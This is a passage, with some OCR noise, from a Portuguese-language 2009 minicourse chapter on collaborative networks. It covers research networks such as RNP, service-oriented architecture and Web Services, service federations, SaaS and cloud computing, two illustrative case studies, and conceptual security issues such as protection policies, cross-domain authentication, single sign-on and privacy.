sados em desenvolver e aprimorar suas redes nacionais (NRENs). Na Europa, catalogados
na associacdo TERENA, sdo 46 paises que possuem estas redes. Dados do consércio da
APAN (Asia-Pacific Advanced Network)? indicam 15 redes académicas na Asia e Paci-
fico, j4 na América Latina 15 paises sdo membros da Rede Clara (Cooperacion Latino
Americana de Redes Avanzadas)*. Outras duas importantes redes nacionais sio a Inter-
net2 (Estados Unidados)’ e a CANARIE (Canad4)®.

No Brasil, tem-se a Rede Nacional de Ensino e Pesquisa (RNP) que oferece uma
infra-estrutura de rede Internet (rede Ip€) que conecta as principais universidades e ins-
titutos de pesquisa do pais, cerca de 600 instituicdes, beneficiando-se de um canal de
comunicacao rdpido e com suporte a servicos e aplicagdes avancadas. Baseada em tecno-
logia de transmissdo Optica, a rede Ipé estd entre as mais avancadas do mundo e possui
conexao com redes académicas estrangeiras, tais como Clara (América Latina), Internet2
(Estados Unidos) e Géant (Europa) 7,

Além do servico de conectividade de rede com uso de tecnologias avangadas, as
NREN oferecem uma diversidade de servicos para os parceiros que participam destas
redes colaborativas, entre estes destacam-se: ferramentas avancadas para comunica¢do
instantanea interativa, tais como videoconferéncia, Telefonia IP e help desk; centro de

2http://www.terena.org
Shttp://www.apan.net
“http://www.redeclara.net
Shttp://www.internet2.edu
Shttp://www.canarie.ca
Thttp://www.rnp.br


http://www.terena.org
http://www.apan.net
http://www.redeclara.net
http://www.internet2.edu
http://www.canarie.ca
http://www.rnp.br

104 Minicursos SBSeg 2009

atendimentos a incidentes de Seguranca; servicos de video digital, tais como video sob
demanda e transmissdes de video ao vivo; ferramentas de planejamento e operacdo de
redes que monitoram o funcionamento de todos os enlaces da NREN; infra-estrutura de
chaves publicas (ICP), servigos de autenticac@o e de autorizagdo para federacdes de ser-
vigos; servicos de sincronizacdo de relogios e Grid Services. O portfolio de servicos
oferecidos pelas NREN tem crescido a cada ano.

Na RNP, os servicos basicos de conectividade oferecidos para as institui¢des usud-
rias da rede Ipé incluem ampla largura de banda de acesso, com uso de tecnologias avan-
cadas como IPv6 e multicast e atendimento a incidentes de seguranca. A RNP também
disponibiliza ferramentas avangadas de comunicacao, tais como videoconferéncia e tele-
fonia pela Internet (voz sobre IP), servicos de video digital (video sob demanda, transmis-
sdo de video ao vivo e transmissdo de sinal de TV), service desk, servi¢o de sincronizagcao
de reldgio e Internet Data Center8. Desde 2008, a RNP retine institui¢des de ensino e
pesquisa brasileiras em uma rede de confianca chamada Federacio CAFe - Comunidade
Académica Federada, na qual cada instituicdo parceira € responsével por autenticar e pro-
ver informacdes de seus usudrios para provedores de servicos autorizados pertencentes a
esta federacdo’.

3.2.3. Redes Colaborativas Orientadas a Servico

Arquitetura Orientada a Servicos

Um conceito que vem se solidificando para a construcao de redes colaborativas € o de Ar-
quitetura Orientada a Servicos (AOS) [Rabelo 2008]. Os componentes fundamentais de
uma AOS sdo os servigos que implementam interfaces bem definidas. As aplicacoes dis-
tribuidas sdo construidas entdo através da composicdo e combinacdo dos vérios servigcos
disponiveis [Weerawarana et al. 2005].

A AOS € constituida de relacdes entre trés tipos de participantes: o diretério para
registro de servigos, repositorio que € utilizado para publicar e localizar as interfaces
dos servigos; o provedor de servigos, entidade responsavel por publicar as interfaces
dos servigos providos por esta no registro de servigos e também responsavel por aten-
der as requisicdes originadas pelos clientes; e o cliente, aplicacdo ou um outro servigo
que efetua requisicdes a um servico. Cada participante da arquitetura pode ainda assu-
mir um ou mais papéis, podendo ser, por exemplo, um provedor e um cliente de servicos
[de Mello et al. 2006].

Os participantes se relacionam através de trés operacOes: publicar, localizar e
invocar, como pode ser visto na Figura 3.2. Inicialmente, o provedor de servigos publica
a interface do seu servico junto ao diretério para registro de servigos. Desta forma, em
algum momento posterior, o cliente pode efetuar uma busca por um determinado servigo
(operagdo localizar), especificando as caracteristicas desejadas, no diretdrio de registros.
Se o servico existir, a interface e a localizacao do respectivo servigo sao retornados para o
cliente. Por fim, o cliente efetua uma invocagdo ao provedor do servigo (operagdo invocar)
[de Mello et al. 2006].

8Mais detalhes sobre esses servigos podem ser obtidos em http: //www.rnp.br/servicos
http://eaa-ufc.ufc.br/wiki/index.php/Federa%C3%A7%$C3%A30_CAFe
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Figura 3.2. Interacédo entre as entidades da AOS[de Mello et al. 2006]

[Erl 2006] apresenta uma série de principios que os servicos devem atender:

e servicos abstraem a légica de implementacdo. Devido a isto, o contrato do servigo
(sua interface) € a tinica parte visivel para o mundo externo;

e servicos compartilham um contrato formal que descreve o que o servigo faz e quais
os termos da troca de informagdes entre 0s servigos;

e servicos sdo fracamente acoplados pois sdo projetados pra interagir sem a necessi-
dade de dependéncias fortes e o conhecimento interno de suas estruturas;

e servicos sao autdnomos ja que a légica governada por um servico permanece em
um contorno explicito e este ndo é dependente de outros servigos para executar sua
governanga;

e servicos podem ser compostos;

e servicos permitem serem descobertos, pois seus contratos podem estar expostos em
um repositorio;

e servicos sdo reutilizdveis;

e servicos nao fazem o gerenciamento de estado (stateless).

Os Servicos Web (Web Services) sao uma das principais tecnologias existentes
para a implementac¢ao de aplicacdes seguindo a AOS e sao componentes de software pro-
jetados para prover suporte as interagdes entre aplicacdes heterogéneas sobre a Internet.
As principais caracteristicas que tornam os Servicos Web uma tecnologia integradora e
promissora sdo [de Mello et al. 2006]: (1) possuem um modelo fracamente acoplado e
transparente que garante a interoperabilidade entre os servigos, sem que estes necessitem
ter o conhecimento prévio de quais tecnologias estdo presentes em cada lado da comu-
nicacdo; (2) sdo auto-contidos'? e auto-descritivos'!; (3) usam padrdes abertos como o

10A adocio dos Servigos Web ndo implica uso de qualquer aplicativo adicional no cliente ou no servidor.
Para o cliente, basta uma linguagem de programacgado que dé suporte a XML e ao HTTP, por exemplo. Para
o servidor, basta que o mesmo possua um servidor de aplica¢do para disponibilizar os servigos.

"'Tanto o cliente como o servidor s6 precisam se preocupar com o formato e com o contetido das men-
sagens a serem trocadas, abstraindo os detalhes de implementagdo (fraco acoplamento).
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HTTP e o XML, permitindo assim que aplicacdes sejam integradas através de linguagens
e protocolos amplamente aceitos, e (4) tornam mais f4cil a composi¢ao ou a combinagdo
de diferentes provedores, visando formar servigos mais complexos e sofisticados.

Para tornar possivel as trés opera¢des fundamentais de uma AOS - publicar, loca-
lizar e invocar - a arquitetura de Servigos Web adota as seguintes tecnologias baseadas em
XML: a Web Services Description Language (WSDL) [Booth e Liu 2007], linguagem pa-
drdo usada para descrever as funcionalidades dos Servicos Web; o Universal Description,
Discovery and Integration (UDDI) [Clement et al. 2004], servi¢o padrdo para publicacio
e localizacdo de Servicos Web; e o SOAP [Mitra e Lafon 2003], protocolo usado para a
invocac¢ao do servigo.

Segundo [Rabelo 2008], como as redes colaborativas sdo caracterizadas como um
sistema aberto, que faz uso da Internet, as vantagens inerentes dos Servigos Web tornam
esta tecnologia ideal para compor a camada de infra-estrutura que dard o suporte para as
trocas de informagdes, que fornecerd as funcionalidades de coordenacdo e de colaboragdo
e que permitird que relacdes de negdcios e de parcerias entre empresas € institui¢cdes
de ensino e pesquisa sejam estabelecidas de maneira simples e dindmica. Com o0 uso
desta tecnologia, as aplicacdes podem executar multiplos saltos, envolvendo muiltiplas
operacdes em Varios servigos, e, além disso, estas podem ultrapassar os limites impostos
pelos filtros de pacotes tradicionais (firewalls).

Um conceito fundamental para a compreensao das infra-estruturas de suporte as
redes colaborativas é o de federacao de servicos, definido no contexto deste trabalho
como: uma forma de associacdo dos parceiros de uma rede colaborativa que usa um
conjunto comum de atributos, préticas e politicas para trocar informagdes e compartilhar
servicos, possibilitando a cooperacio entre os membros da federagio'?. Uma federacio
€ basicamente composta por consumidores de servicos (clientes), provedores de servicos
(Service Provider - SP) e provedores de identidades (Identity Provider - 1dP). Provedo-
res de servicos sdo entidades que disponibilizam servicos para os parceiros da federacao,
consumidores de servicos sdo entidades ou servicos que usufruem dos servigos disponi-
bilizados nos provedores de servicos e provedores de identidade sdo entidades que atuam
como um servico de autenticacao para consumidores de servi¢os e como servico de auten-
ticacdo da origem do dado para provedores de servigos. IdPs atuam como Terceiras-Partes
Confidveis (TPC) tanto para o consumidor quanto para o provedor de servicos.

Conceitos e Modelos de Computacao usados em Redes Colaborativas

Segundo [Camarinha-Matos 2005], a ampla ado¢do da arquitetura orientada a servicos, a
difusdo das redes colaborativas, a popularizacdo dos conceitos Web 2.0 e Enterprise 2.0 e
o sucesso das tecnologias associadas e estes conceitos tem impactado profundamente nas
atividades colaborativas das organizacdes e no processo de desenvolvimento de software.

O termo Web 2.0 foi criado em 2004 pela empresa O’Reilly Media para designar
uma segunda geracdo de comunidades e servigos que tem como conceito a “Web como

?Baseado nas defini¢des de federacio encontradas na Federagio Incommon (http://www.
incommonfederation.org/), WS-Federation[WS-FEDERATION 2006] e [Rabelo 2008].


http://www.incommonfederation.org/
http://www.incommonfederation.org/

IX Simposio Brasileiro em Seguranga da Informagao e de Sistemas Computacionais 107

plataforma e o software com servico”!3. A Web 2.0 visa expandir radicalmente a idéia do
acesso a informacao através de um conjunto transparente de plataformas computacionais
que permite uma fécil, rdpida e inteligente forma de encontrar o que se deseja indepen-
dentemente de onde, em que formato e com qual semantica a informacdo se encontra
[Cancian 2009]. Segundo o precursor do uso do termo, Web 2.0 pode ser definida como:

“[...] é a mudanga para uma Internet como plataforma e um entendimento
das regras para obter sucesso nesta nova plataforma. Entre outras, a regra
mais importante é desenvolver aplicativos (servicos) que aproveitem os efei-
tos de rede para se tornarem melhores quanto mais sao usados pelas pessoas,
aproveitando a inteligéncia coletiva” [O’Reilly 2005].

Na Web 2.0, os softwares funcionam pela Internet (via Web), ndo somente insta-
lados no computador local, de forma que vérios programas podem se integrar formando
uma grande plataforma. Exemplos de tecnologias e ferramentas Web 2.0 sdo: wikis,
blogs, as redes sociais, social bookmarks, RSS e os servigos do Google, tais como Goo-
gleDocs, GoogleMaps e Gmail. Na Web 2.0, os softwares funcionam como um servigo.
Neste modelo de negdcio o software, oferecido como um servico (Software as a Service
- SaaS), estd hospedado em um provedor de servicos e € acessado pelos usudrios através
da Internet (ver Figura 3.3), sem a necessidade que estes implantem ou mantenham uma
infra-estrutura de TI para utiliza-lo [Cancian 2009]. O cliente possui direitos sobre seus
dados e sobre o uso do software, mas em nenhum momento precisa adquirir uma licencga
ou comprar o software como se fosse um produto [Ma 2007]. O acordo comercial € esta-
belecido através de um contrato em de nivel de servi¢o (SLA - Service Level Agreement),
onde sdo definidas as condi¢des, valores e responsabilidades entre clientes e provedores.

Provedor de Servicos Cliente

Os servigos sao
acessados via
Internet

SLA ﬁ
N

?

Figura 3.3. Exemplo do Modelo de Nego6cio SaaS[Cancian 2009]

Aprimorando a tecnologia ASP (Application Service Provider), que também ofe-
rece servigos via Internet, o modelo SaaS envolve também conceitos de arquitetura (funci-
onamento, desempenho, seguranca) tipicos de um servi¢o bem construido. Na tecnologia
ASP, um servidor prové servigos de software baseados em contratos que envolvem a utili-
zacdo, armazenamento e acesso a aplicagdes, através de um gerenciamento centralizado.

13 Alguns criticos do termo, tais como Tim Berners-Lee, afirmam que este é apenas uma jogada de mar-
keting (buzzword).
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Enquanto no modelo SaaS o acesso € feito aos servicos, ou seja, pode-se selecionar o que
serd acessado de maneira desacoplada, no ASP o acesso € feito a toda aplicagdo.

Segundo [Mcafee 2006], o termo Enterprise 2.0 refere-se a trazer para as empre-
sas (organizacoes) as tecnologias e ferramentas da Web 2.0, possibilitando que parceiros
colaborem e compartilhem informacdes, provendo a informacao certa na hora certa atra-
vés de redes de aplicacdo, de servicos e de dispositivos interconectados. Na Enterprise
2.0, o uso das emergentes plataformas de software social, torna acessivel a inteligén-
cia coletiva transformando-a em uma enorme vantagem competitiva. Siemens e IBM sao
exemplos de empresas que implantaram em suas redes colaborativas o conceito Enterprise
2.0.

De acordo com [Armbrust et al. 2009], no contexto da Web 2.0 e Enterprise 2.0,
ha uma tendéncia de que os dados de usudrios - inclusive os proprios sistemas operaci-
onais — sejam disponibilizados em servidores remotos, tornando desnecessario o uso de
dispositivos de armazenamento e possibilitando o compartilhamento de tal contetido com
qualquer plataforma de acesso a Web. Este recente conceito de computac¢do, chamado
cloud computing, tem o potencial para transformar uma grande parte da industria de TI,
tornando o software como um servi¢co ainda mais atraente € moldando a forma como o
hardware € concebido e adquirido [Armbrust et al. 2009].

Cloud computing é um termo usado para descrever um ambiente de computa-
cdo baseado em uma rede massiva de servidores, sejam virtuais ou fisicos e refere-se
a distribuicdo de aplicacbes como servicos (SaaS) através da Internet. Essa rede mas-
siva de servidores (hospedada em datacenters) e a infra-estrutura de gerenciamento des-
tes servidores constituem a nuvem (cloud) e os softwares (servi¢os) residem nesta nu-
vem [Armbrust et al. 2009]. Quando uma nuvem se torna disponivel, um servico € ven-
dido como uma “utility computing”. Utility computing'* é modelo de provisionamento
de servicos em que um prestador de servigos torna recursos de computacdo e gestdao
das infra-estruturas disponiveis para o cliente, conforme necessirio, sem cobrar uma
taxa fixa, mas sim o quanto foi consumido e utilizado [Buyya et al. 2008]. Segundo
[Armbrust et al. 2009], cloud computing € a soma de SaaS com utility computing. Para
[Hayes 2008], os conceitos cloud computing, utility computing, software as a service, In-
ternet as platform (Web 2.0), tem um elemento em comum, a mudanga na geografia da
computacao. Esta mudancga ird afetar todo o ecossistema computacional, usudrios, desen-
volvedores de software, gerentes de TI e até mesmo a industria de hardware.

Visto como uma plataforma essencial para distribuicao de servicos, cloud com-
puting oferece um ambiente que permite o compartilhamento de recursos, tais como o
compartilhamento de infra-estruturas escaldveis, middleware e plataformas de desenvol-
vimento de aplicacdes e processos de negdcios (aplicagdes de valor agregado).

Um dos principais objetivos da cloud computing € usufruir da Internet e da Intranet
para compartilhar recursos para os seus usudarios. Segundo [Zhang e Zhou 2009], tipica-
mente, quatro tipos de recursos podem ser providos e consumidos na Internet: recursos
de infra-estrutura, que incluem poder computacional, capacidade de armazenamento (sto-
rage); recursos de software, incluindo recursos de middleware e plataformas de desenvol-

14Também conhecido como on-demand computing.
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vimento de aplicacdes; recursos de aplicacdes (servigos ou mashups'>), que sdo providos
através do modelo de SaaS ou mashups de aplicacdes de valor agregado; e processos de
negdcios, que inclui os Servigcos Web compostos e aplicagdes orientadas a negdcios que
possibilitem reuso, provisionamento € composicao.

De acordo com [Zhang e Zhou 2009], a virtualizagdo e a AOS sdo as duas tecno-
logias chaves para o sucesso da cloud computing. A virtualizacdo € a tecnologia central
que permite compartilhar recursos na nuvem, esta tecnologia trata como as imagens de
sistemas operacionais, middlewares e aplicacdes sdo criadas e alocadas corretamente em
maquinas ou em fatia de pilhas de servidores. As imagens poderao ser transferidas e co-
locadas no ambiente de producio sob demanda. Como AOS € apropriada para tratar a
componentizacdo, a reusabilidade e a flexibilidade de softwares, com intuito de conceber
plataformas de Cloud Computing escaldveis, a AOS deve ser adotada para prover compo-
nentes reutilizaveis, interfaces padronizadas e solucdes arquiteturais extensiveis. Segundo
os autores, conceber plataformas de cloud computing simples (compartilhamento de um
unico tipo de recurso) € fécil, entretanto, construir uma arquitetura de cloud computing
escaldvel e que suporte o compartilhamento dos quatros tipos de recursos ainda € uma
tarefa desafiadora.

Exemplos de Redes Colaborativas Orientadas a Servico

Conforme descrito [Rabelo et al. 2008], o projeto ECOLEAD desenvolveu um middle-
ware para redes colaborativas de organizacdo baseado no modelo de negdcio SaaS. A
infra-estrutura desenvolvida no projeto aplica a abordagem de AOS e a tecnologia de
servicos web foi a escolhida para implementar a infra-estrutura proposta. Um conceito
fundamental na infra-estrutura ECOLEAD ¢ o de federacao de servicos, sendo que todos
os servigos relacionados com uma rede colaborativa sio membros da federagdo . Logo,
servicos podem ser encontrados, usados e compartilhados entre os parceiros da rede co-
laborativa. Os conceitos Web 2.0 e Enterprise 2.0 também foram adotados na concepgao
da infra-estrutura do projeto ECOLEAD uma vez que os servigos compartilhados pela
Internet (via web) sdo faceis de serem localizados, podem ser combinados em processos
de negdcios complexos, s@o acessados e contabilizados sob demanda (utility computing),
proveem suporte a computagdo movel e alguns servicos oferecidos sdo especificos para
trabalhos colaborativos que contribuem para a inteligéncia coletiva [Rabelo 2008].

No contexto das Redes Nacionais de Pesquisa e Educagdo, pode-se citar como
exemplo de infra-estrutura orientada a servigo para redes colaborativas o middleware para
gerenciamento de acesso e identidade da rede colaborativa Internet2'® que garante que
somente pessoas autorizadas terdo acessos aos servicos da rede. Neste middleware, o
mesmo servigo de gerenciamento de identidade € usado para acessar todas as aplicagdes.
Os principais projetos em desenvolvimento no contexto deste middleware sdo: o Shibbol-

SUm mashup é um novo género de aplicagio web interativa ou web site que usa contetido de mais de
uma fonte de dados externa para criar um novo servico completo, pode ser considerada uma aplica¢do da
Web 2.0 [Merrill 2006].

ohttp://www.internet2.edu/middleware
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let!’, a ferramenta de gerenciamento de grupos Gouper!® e a plataforma para trabalhos
colaborativos COmanage'?. Os membros da rede colaborativa da Internet2, ja usufruem
das funcionalidades deste middleware através da federa¢do de servicos InCommon. A
missdo desta federacdo € criar e prover suporte a um framework comum para o geren-
ciamento confidvel de acesso a recursos compartilhados para os parceiros da Internet2.
Em abril de 2009, a comunidade desta federacdo era formada por mais de 3.6 milhdes de
usudrios finais. Como a base do middleware Internet2 e da federagdo InCommon consis-
tem em sistemas de gerenciamento de identidade federada, estes estdo descritos em mais
detalhes na secdo que trata deste assunto (Secdo 3.4.1).

3.2.4. Estudos de casos

Esta secdo descreve dois cendrios de uso ficticios de redes colaborativas. O primeiro
consiste na selecdo de parceiros para composi¢do de uma organizacdo virtual e outro
envolve o provimento de servicos de acesso a bibliotecas digitais em redes nacionais de
pesquisa e ensino. Aspectos de seguranca nestes cendrios serdo analisados nas Se¢des 3.3
e 3.4.

Cenario 1: Rede Colaborativa TechPlast - Busca e Seleciao de Parceiros

A rede colaborativa de organizacdes TechPlast ¢ um cluster de pequenas e médias indus-
trias do setor de pldsticos do Sul do Brasil que colaboram para aprimorar sua participa-
cdo de mercado. Entre estas estdo industrias de embalagens pldsticas, de pecgas plésticas
injetadas, de maquinas injetoras de pldstico, prestadoras de servicos e fornecedoras de
matéria prima. Esta rede colaborativa foi criada como uma solugdo estratégica para aten-
der ao mercado que demanda tempos de entrega curtos, precos baixos e produ¢do acima
da capacidade das micros e pequenas empresas da regido. Na TechPlast, um ambiente
para geragdo de Organizagdes Virtuais (OVs) propicia o estabelecimento de aliangas tem-
porérias e a conducdo de negdcios colaborativos de forma mais eficiente, agil, flexivel
e confidvel. Este ambiente ndo € estitico sendo que novas organiza¢des podem entrar e
outras podem deixar a rede. Cada OV criada atua como uma entidade de grande porte ca-
paz de atender uma oportunidade negécio que ndo poderia ser atendida por somente uma
das organizagdes. Cada membro da OV mantém sua independéncia e autonomia podendo
inclusive fazer negdcios fora da rede TechPlast.

A infra-estrutura para negdcios colaborativos da TechPlast estd baseada nos con-
ceitos e tecnologias mais modernos da drea de TI, tais como Enterprise 2.0, SaaS, Fe-
deracdo de Servigos e Servigcos Web . Como as aliancas nas OVs sdo volateis e o fluxo
de colaboragdes em alguns casos € definido dinamicamente de acordo com os requisitos
do processo de negbcios, a infra-estrutura oferece diferentes funcionalidades (modela-
das como servigos) que podem ser selecionados sob demanda para cada tipo de negdcio.
Os participantes da rede TechPlast fazem parte da Federacdo de Servigos e podem tanto
desenvolver e disponibilizar servicos (atuando como provedores de servigos), quanto usu-

"http://shibboleth.internet2.edu
Bhttp://grouper.internet2.edu/
Phttp://middleware.internet?2.edu/co/
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fruir dos servicos bdsicos desenvolvidos para prover suporte as atividades chaves das
fases do ciclo de vida de uma OV (consumidores de servigos), tais como: o servigo de
busca e selecdo de parceiros da OV, os servicos CSCW (Computer Supported Coopera-
tive Work)zo, o motor de busca de conhecimentos, o0 motor de execugdo de processos de
negdcios (automadticos) e o servico de gerenciamento de processo de negdcio interativo (
processos automdticos combinados com processos que requerem interagdo humana). No
ambiente de geracdo de OVs da TechPlast, todas as organizagdes estdo aptas a receber
uma oportunidade de negdcios (ON) e a organizacdo que a recebe assume a fungdo de
Gerente da OV. O gerente da OV atua como broker independente e € este que inicia o
processo de busca e selecdo de parceiros, o que significa que diversas oportunidades de
negodcios podem estar sendo tratadas na rede e que um parceiro pode estar envolvido em
diferentes ONs simultaneamente (ver Figura 3.4).

Organizagéao Virtual 2
Organizagao Virtual 1 Organizagéo Virtual 3

Gerente
T ) am

QGerente L ov

Figura 3.4. Formac¢ao de OrganizacGes Virtuais na TechPlast

Com base na tecnologia de Servigos Web, o servico Universal Description, Dis-
covery and Integration (UDDI) [Clement et al. 2004] € utilizado para localizar parceiros
potenciais para formacdo de uma OV. Cada organizacdo publica no UDDI informagdes
detalhadas sobre os servigos que esta prové, como funcionalidades, competéncias e dreas
de negdcio relacionadas com cada servigo (p.ex., fabricantes de pecgas plésticas injetadas,
fabricantes de embalagens plésticas, fornecedoras de matéria prima, etc), possibilitando
assim ao gerente da OV localizar quais organizagcdes poderdo vir a ser parceiros de ne-
gocios. O gerente da OV € responsdvel por gerar um conjunto de possiveis combinacdes
de OVs, avaliar cada possibilidade de combinacdo e um representante humano da organi-
zacdo elege a combinacdo mais apropriada usando como critério, por exemplo, prazo de
entrega mais curto, preco baixo e confianga nos parceiros (reputacao).

Uma vez selecionados os parceiros da OV, € necessario o estabelecimento de re-
lagdes de confianca entre os mesmos. Essas relagdes garantirdo a autenticacdo dos par-
ceiros, permitindo que o gerente da OV atribua os papéis que cada organizacao desempe-
nhara.

20por exemplo, videoconferéncia, telefonia IP, gerenciadores de projetos, Wikis, Web syndication e féruns
de discussao.
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Cenario 2: Rede Colaborativa de Ensino e Pesquisa do Brasil (RNP) - Acesso a
Servicos de Bibliotecas Digitais

A RNP ¢ a rede nacional de ensino e pesquisa que congrega as principais institui¢des
de ensino e pesquisa do Brasil e que mantém cooperac¢do com redes nacionais de outros
paises. Esta rede colaborativa possui uma Federacdo de Servicos (CAFe) que retine os
provedores de identidades das institui¢des participantes da rede e provedores de servigcos
que sdo as proprias instituicoes e outras entidades parceiras tais como 6rgaos de fomento,
editoras e empresas que oferecem descontos para estudantes e professores. Atualmente,
13 institui¢des sao membros da federacdo e outras 7 estdo em fase de preparagdo. Den-
tre os servicos que podem ser oferecidos na federacdo destacam-se: servico de acesso
as bibliotecas digitais das institui¢des, servicos de trabalhos colaborativos (telefonia IP,
videoconferéncia), servicos de ensino a distancia, servigo de acesso ao Portal Periddico
da CAPES, servico de monitoramento de rede, servi¢o de grids e servico de hospedagem
de equipamentos e servidores. Um cendrio de uso desta rede colaborativa € exemplificado
a seguir.

Cada membro da federac@o possui um provedor de identidade responsavel por au-
xiliar o gerenciamento de identidades da instituicdo. Os membros da federagdo, através
de provedores de servicos, podem oferecer servigos de acesso as suas bibliotecas digitais.
Neste exemplo, a propria RNP pode ter um provedor de servigos que ofereca um Servico
Web para a busca avangada de artigos, monografias e teses em todas as bibliotecas digitais
da federacio, retornando assim o maior nimero de ocorréncias possiveis. O servi¢o con-
siste basicamente de uma interface, a qual interage com o usudrio, um motor de buscas
avangado, responsdvel por realizar consultas em bases locais, remotas ou ainda invocando
outros Servicos Web, e um visualizador de contetdos.

3.3. Questoes de seguranca em redes colaborativas

A colaboracao entre diferentes parceiros passa pela ativacdo de uma série de funciona-
lidades dessas organizacdes, isto €, envolve o atravessamento de vérias camadas de se-
guranca. Como os limites administrativos precisam ser transpassados, os processos de
negdcios estardo sob diversos modelos administrativos e também sob diversos meca-
nismos e tecnologias de seguranga. Cada dominio transposto por um processo de negé-
cio, pode prover seu proprio conjunto de credenciais de seguranca, tomando como base
suas tecnologias subjacentes de seguranga e suas politicas de seguranca e de negdcios
[de Mello et al. 2005].

Além dos Servicos Web desempenharem um papel importante para prover inte-
roperabilidade na concepgdo de sistemas distribuidos, estes possuem uma série de me-
canismos, definidos através de especificacdes padronizadas e abertas, que visam agregar
seguranca e confiabilidade as aplicagdes que os utilizam. Entretanto, as especificacdes
atualmente existentes sdo insuficientes para atender aos requisitos de seguranca de siste-
mas dinamicos. Em particular, os aspectos mais ligados ao dinamismo das redes colabo-
rativas — como autenticacao e autorizacao através de diferentes dominios de seguranga, a
negociac¢do de politicas de QoP e a incidéncia de churn — requerem a concepgdo de novos
mecanismos para oferecer um nivel mais adequado de protecdo aos sistemas.
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Em redes colaborativas, o uso de padrdes para o formato e o transporte das men-
sagens, ou até mesmo para implementar mecanismos de seguranca nao garante interope-
rabilidade. Sempre que houver organizagdes autdbnomas envolvidas, estas podem impor
diversas restri¢des adicionais que podem dificultar ou até mesmo impedir a comunicagao.
Em particular, tipicamente, cada organizacdo de uma rede colaborativa possui autonomia
para definir seus requisitos de seguranca. Quais dados sdo considerados sensiveis, quais
os tipos de credenciais que devem ser apresentados pelos parceiros, quais os algoritmos
criptograficos que devem ser usados para quais informagdes, sdo algumas das varidveis
que podem ser definidas pelas organizacoes.

No cendrio descrito acima, fica claro que quando duas organizagdes precisam se
comunicar, mesmo que usem uma tecnologia que permita interoperabilidade, como os
Servigcos Web, pode ser que a comunicagdo seja impedida porque os requisitos de segu-
ranca das organizagdes ndo sdo compativeis. Por exemplo, uma organizacdo pode consi-
derar uma certa informacao altamente sensivel e exigir que as mensagens contendo essa
informacao sejam cifradas, enquanto a outra pode ter o suporte a0 mesmo algoritmo crip-
togréfico, ou nem sequer considerar a mesma informacao sigilosa.

A situagdo pode ficar ainda mais complexa se ndo forem apenas duas organizacoes
mas sim um conjunto de colaboradores provendo servigos para uma composicdo. Nessa
situacdo, gerenciar a compatibilidade de requisitos de seguranga se torna uma tarefa ainda
mais dificil, principalmente quando se deseja um alto dinamismo na formagao dessas
composi¢des de servigos [Boger et al. 2009].

O uso de politicas de qualidade de protecao (QoP) apresenta-se como solugdo para
amenizar tais dificuldades. A defini¢do de politica de QoP empregada neste trabalho € a
de um documento emitido por uma organizag¢do que expressa formalmente um conjunto
de requisitos de segurancga (confidencialidade, integridade e autenticidade) que deve ser
satisfeito a fim de utilizar um dado servico provido pela organizacdo. Ha outros tipos de
politicas relacionadas a seguranca, que no entanto ndo devem ser confundidas com QoP,
como as politicas de autorizac¢do ou controle de acesso. Solu¢cdes para o problema da veri-
ficacdo de compatibilidade entre os requisitos de seguranca dos parceiros que necessitam
cooperar em uma rede colaborativa serdo apresentadas em detalhes na Se¢ao 3.4.3.

Um outro problema importante relacionado a verificagdo de compatibilidade de
requisitos de seguranca, e que também pode ser facilitado com o uso de politicas, € a
aplicacao dindmica dos mecanismos de seguranca. Enquanto no momento da formacgao
da composi¢do de servigos € preciso verificar se os colaboradores possuem suporte e
permitem as mesmas tecnologias de protecdo, durante a execucao da composicao € preciso
garantir que em cada comunicagdo os parceiros apliquem os mecanismos de seguranca
corretamente, dependendo do servigo que for invocado, isto é, a configuracao dindmica
da aplicag¢do dos mecanismos de seguranga.

Concretizar a autentica¢do e a autorizagdo distribuida de forma transparente em
sistemas complexos como as redes colaborativas é uma tarefa muito drdua, diretamente
afetada pela escalabilidade. Em tais sistemas as entidades, sejam estas clientes ou prove-
dores de servigos, se fazem presentes através de diferentes dominios administrativos e de
seguranca. Neste cendrio, trés barreiras a serem transpostas sdo: a heterogeneidade das
infra-estruturas de seguranca, presentes nos diversos dominios corporativos, o estabeleci-
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mento de relacdes de confianca entre entidades desconhecidas e o gerenciamento de iden-
tidades feito tanto por provedores de servigos quanto por clientes [Camargo et al. 2007].
Para isto, sdo necessarios tanto padrdes altamente difundidos, com abstragdes suficientes
para esconder as diferentes tecnologias, quanto modelos que contribuam para integracao
de tais padrdes.

Em sistemas distribuidos, os modelos usuais de autorizagdo se apdéiam em uma
autoridade de autenticacdo para mediar a confianca entre partes desconhecidas (terceira
parte confidvel). Desta forma, as interagcdes entre partes distintas (cliente e provedor) sdo
alcancgadas pela apresentacao de credenciais emitidas por uma autoridade de autenticacdo
em quem ambas as partes confiam. Em ambientes mais complexos como as redes cola-
borativas, este modelo de simples intermediacao se apresenta como limitado, j4 que cada
dominio possui suas préprias politicas, infra-estruturas de seguranca e ainda uma forma
particular de gerenciar as identidades dos principais [Jgsang et al. 2005]. Por exemplo,
quando um membro de uma rede académica de ensino e pesquisa deseja acessar, de forma
segura, recursos presentes em provedores de servigos em diferentes universidades, este
deve se filiar a cada um desses provedores e fornecer dados de identificacdo e atributos
proprios por meio dos quais o cliente terd sua identidade autenticada ao tentar acessar os
recursos.

Para evitar esses problemas, os provedores e clientes que usem a mesma tecno-
logia de seguranca podem se agrupar em dominios (federacdes de servigos) para com-
partilhar informagdes e confiar em uma terceira parte para mediar a autenticacdo. Além
disso, dominios distintos podem formar relacdes de confianga entre si, permitindo que
a autenticacdo em um possa ser transposta para os dominios associados. Essa forma da
autenticacdo segue a abordagem Single Sign On (SSO), contudo, mesmo partindo do pres-
suposto de que as relacdes de confiancga j4 estejam previamente estabelecidas, ainda assim
ha diversos desafios para transpor as credenciais de autenticagdo, pois dominios adminis-
trativos possuem autonomia para decidir quais politicas e tecnologias de seguranga serao
utilizadas, ou seja, precisa haver suporte a autenticacdo SSO mesmo diante de parceiros
que usem diferentes tecnologias de seguranca [de Mello et al. 2009b].

Um problema a ser tratado no gerenciamento de identidades € a questdo da pri-
vacidade das informagdes. Em um cendrio ideal, os usudrios poderiam exercer o direito
de determinar como suas informacdes serdo manipuladas, informando quais informacdes
poderdo ser compartilhadas com terceiros, como esse compartilhamento deve ser feito e
também indicando o periodo de tempo o qual essas informacdes poderdo ficar disponi-
veis nos sistemas. O projeto Shibboleth [Shibboleth 2005] apresenta uma preocupagio
com a privacidade das informacdes dos usudrios, definindo como requisitos da arquite-
tura, meios para gerenciar quais informacdes um sitio origem iré transferir para um sitio
destino, com o consentimento do usudrio. Com o crescimento do uso de Servigos Web, a
questdo da privacidade ganha um foco ainda maior, visto que um fluxo de negécios pode
